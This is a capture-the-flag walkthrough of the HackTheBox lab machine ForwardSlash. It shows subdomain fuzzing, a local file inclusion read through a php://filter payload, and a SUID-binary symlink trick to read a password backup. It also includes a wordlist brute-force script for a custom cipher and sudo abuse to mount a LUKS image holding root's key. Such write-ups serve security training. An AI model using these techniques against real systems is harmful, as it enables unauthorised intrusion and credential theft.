Posts HackTheBox - ForwardSlash
Post
Cancel

HackTheBox - ForwardSlash

BoxInfo

Summary

  • We find backup sub-domain using ffuf which contains a disabled form with LFI vulnerability.
  • We use php://filter wrapper to read a php file containing a user password.
  • We analyze a SUID binary and create a soft link using bash one-liner to read a config backup file.
  • We decrypt an encrypted message using brute force and looking for common words in decrypted message.
  • Finally, we decrypt and mount a LUKS encrypted file which contains id_rsa private key of root.

Recon

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~# nmap -sC -sV 10.10.10.183
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-04 15:12 EDT
Nmap scan report for 10.10.10.183
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
|   256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_  256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to http://forwardslash.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.54 seconds

/etc/hosts

we get a redirect to forwardslash.htb on port 80, so lets add it in /etc/hosts file to access the webpage

Port 80

the index.php page doesn’t contain any links

gobuster

1
gobuster dir -u forwardslash.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 100

very quickly I found a file note.txt, you might get stuck here if you don’t check for txt files

FFUF

In the note, chiv is taking about a backup site, so lets brute force for sub-domains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~# ffuf -H 'Host: FUZZ.forwardslash.htb' -u http://10.10.10.183 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.183
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.forwardslash.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 0
________________________________________________

backup                  [Status: 302, Size: 33, Words: 6, Lines: 1]

we get a result pretty quickly, the backup site is backup.forwardslash.htb
to access this site we need to add it in /etc/hosts file

SubDomain

backup site

There is a Login and SignUp page. Register and Login to get to welcome.php

Disabled Form

After login only the profilepicture.php page looks interesting

The URL form field and the Submit button are disabled. To enable them, I removed disabled="" from the input tags using Inspect Element

I intercepted the POST request in burp and used Repeater to try different URL inputs

Local File Inclusion

Identification

sending /etc/passwd as URL input gave the /etc/passwd file which means we have LFI

now that we can read files on the machine, lets find some interesting files to read using gobuster

gobuster

1
gobuster dir -u backup.forwardslash.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 100

we have dev directory, visiting dev/index.php gives 403 Access Denied
it says access denied from my IP so probably /dev can only be accessed from localhost

Reading PHP File

We can try to read dev/index.php using LFI

we get Permission Denied; not that way ;), we can try using php://filter wrapper

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi–rfi-using-wrappers

1
php://filter/convert.base64-encode/resource=dev/index.php

using this we get base64 encoded data, we can decode it to read the content of php file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
//include_once ../session.php;
// Initialize the session
session_start();

if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
    header('HTTP/1.0 403 Forbidden');
    echo "<h1>403 Access Denied</h1>";
    echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
    //echo "<h2>Redirecting to login in 3 seconds</h2>"
    //echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
    //header("location: ../login.php");
    exit;
}
?>
<html>
    <h1>XML Api Test</h1>
    <h3>This is our api test for when our new website gets refurbished</h3>
    <form action="/dev/index.php" method="get" id="xmltest">
        <textarea name="xml" form="xmltest" rows="20" cols="50"><api>
    <request>test</request>
</api>
</textarea>
        <input type="submit">
    </form>

</html>

<!-- TODO:
Fix FTP Login
-->

<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {

    $reg = '/ftp:\/\/[\s\S]*\/\"/';
    //$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'

    if (preg_match($reg, $_GET['xml'], $match)) {
        $ip = explode('/', $match[0])[2];
        echo $ip;
        error_log("Connecting");

        $conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");

        error_log("Logging in");

        if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

            error_log("Getting file");
            echo ftp_get_string($conn_id, "debug.txt");
        }

        exit;
    }

    libxml_disable_entity_loader (false);
    $xmlfile = $_GET["xml"];
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $api = simplexml_import_dom($dom);
    $req = $api->request;
    echo "-----output-----<br>\r\n";
    echo "$req";
}

function ftp_get_string($ftp, $filename) {
    $temp = fopen('php://temp', 'r+');
    if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
        rewind($temp);
        return stream_get_contents($temp);
    }
    else {
        return false;
    }
}

?>

we found chiv’s password in the php code –> N0bodyL1kesBack/

User PrivEsc

SSH

We can SSH as chiv using the password found above
chiv doesn’t have user.txt so we need to escalate to user pain
sudo -l revealed that chiv is not a sudoer

SUID binary

I found a suid binary whose owner was pain so this is definitely the way to escalate
find / -perm -u=s -user pain 2>/dev/null

Binary Analysis

I downloaded the binary and analyzed it using IDA
so basically it just reads the content of a file whose name is md5sum of the current time HH:MM:SS
rather than using IDA, we can also use ltrace to figure this out

lets verify this by creating a file with the correct name and then running /usr/bin/backup using bash one-liner

1
echo "something" > $(date | cut -d ' ' -f 4 | tr -d '\n' | md5sum | cut -d ' ' -f 1); /usr/bin/backup

the output contains the content of the file, so its verified that /usr/bin/backup just reads the file

config file

I also found a config backup file /var/backups/config.php.bak owned by pain
find / -user pain 2>/dev/null

from the /var/backups/note.txt file, we know that config.php.bak has a password so we need to read it somehow

To read config file, we just need to create a soft link with md5sum name that points to the config file
for some reason this only worked in chiv’s home directory and didn’t worked in /tmp

1
ln -s /var/backups/config.php.bak $(date | cut -d ' ' -f 4 | tr -d '\n' | md5sum | cut -d ' ' -f 1); /usr/bin/backup

We got pain’s password for mysql login –> db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704
but I was not able to open mysql using these creds
mysql -u pain -p

then I tried to switch user using the same password and it was successful
su - pain

PrivEsc to root

Crypto

encrypter.py contains the following encrypt and decrypt functions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def encrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in key:
        for i in range(len(msg)):
            if i == 0:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
            else:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])

            while tmp > 255:
                tmp -= 256
            msg[i] = chr(tmp)
    return ''.join(msg)

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)


print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))

BruteForce

After analyzing the encrypt and decrypt functions, I realized that it is not possible to recreate the key or decrypt without a key
so I just wrote bruteForce.py which used rockyou.txt to decrypt the ciphertext
it checks if the decrypted text contain words like key, pass, the etc. to know if the key is correct or not

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def decrypt(key, msg):
	key = list(key)
	msg = list(msg)
	for char_key in reversed(key):
		for i in reversed(range(len(msg))):
			if i == 0:
				tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
			else:
				tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
			while tmp < 0:
				tmp += 256
			msg[i] = chr(tmp)
	return ''.join(msg)

c = open('encryptorinator/ciphertext','r')
ciphertext = c.read()

f = open('/usr/share/wordlists/rockyou.txt','rb')
passwords = f.readlines()

wordsInMsg = ['pass', 'crypto', 'message', 'key', 'Key', 'the', 'The']

for p in passwords:
	passwd = p[:-1]
	plaintext = decrypt(passwd,ciphertext)
	flag = 0
	for i in wordsInMsg:
		if i in plaintext:
			print(passwd)
			print(plaintext)
			flag = 1
			break
	if flag == 1:
		break

the decrypted ciphertext gave us the key cB!6%sdH8Lj^@Y*$C2cf for encrypted image in /var/backups/recovery/

LUKS

it’s a LUKS encrypted file, I searched how to decrypt it and this result was useful

https://askubuntu.com/questions/835525/how-to-mount-luks-encrypted-file

mount is usually only allowed to run as root so i did sudo -l to see the commands that pain can run as root

finally i used the following commands to decrypt and mount the LUKS encrypted file

1
2
3
sudo /sbin/cryptsetup luksOpen encrypted_backup.img backup
mkdir mnt
sudo /bin/mount /dev/mapper/backup ./mnt/

we can now use this id_rsa to SSH as root

This post is licensed under CC BY 4.0